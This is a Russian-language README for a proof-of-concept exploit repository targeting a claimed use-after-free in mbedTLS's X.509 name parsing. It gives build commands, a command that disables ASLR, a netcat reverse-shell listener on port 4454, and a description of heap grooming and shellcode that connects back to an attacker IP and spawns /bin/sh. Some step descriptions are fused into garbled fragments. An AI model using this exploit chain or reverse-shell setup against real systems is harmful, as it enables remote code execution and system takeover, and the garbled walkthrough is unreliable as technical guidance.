
PoC эксплойт для CVE-2025-47917: Use-After-Free в mbedTLS, приводящий к удаленному выполнению кода.
Этот репозиторий содержит эксплойт, нацеленный на уязвимость Use-After-Free в функции разбора имён mbedtls_x509_string_to_names() библиотеки mbedTLS. Успешная эксплуатация позволяет выполнить произвольный код с привилегиями root путём перехвата освобождённых метаданных кучи и перенаправления потока управления на внедрённый шеллкод.
Операционная система: Linux (тестировалось на Kali Linux)
Привилегии root: Требуются для отключения ASLR и выполнения внедрённого шеллкода
Библиотеки разработки mbedTLS (mbedTLS < 3.6.4):
sudo apt update
sudo apt install -y libmbedtls-dev
Инструменты сборки: gcc, make (опционально)
Укажите пути к заголовочным файлам и библиотекам в соответствии с вашей установкой:
gcc /path/to/exploit.c \
-I/usr/local/include \
-L/usr/local/lib \
-lmbedtls -lmbedx509 -lmbedcrypto \
-Wl,-rpath,/usr/local/lib \
-o exploit_UAF
Отключите ASLR (рандомизацию адресного пространства):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Подготовьте слушатель для обратного шелла на атакующей машине (порт 4454):
nc -lvnp 4454
Запустите эксплойт с привилегиями root:
sudo ./exploit_UAF
checkAslr() читает /proc/sys/kernel/randomize_va_space для проверки, что ASLR отключён. Завершает работу, если включён.mbedtls_x509_string_to_names(): Инициализирует пустой список данных с именем.paddingChunk() выделяет множество фиктивных структур named-data для заполнения записей списка свободных блоков управляемым содержимым, указывающим на шеллкод.mbedtls_x509_string_to_names(): Вызывает условие Use-After-Free, повторно используя освобождённый блок, содержащий поддельные метаданные.mmap(), копируется и выполняется через повреждённый указатель named_data->val.p.192.168.92.1874454Шеллкод выполняет последовательность socket + connect + dup2, затем execve("/bin/sh").
MIT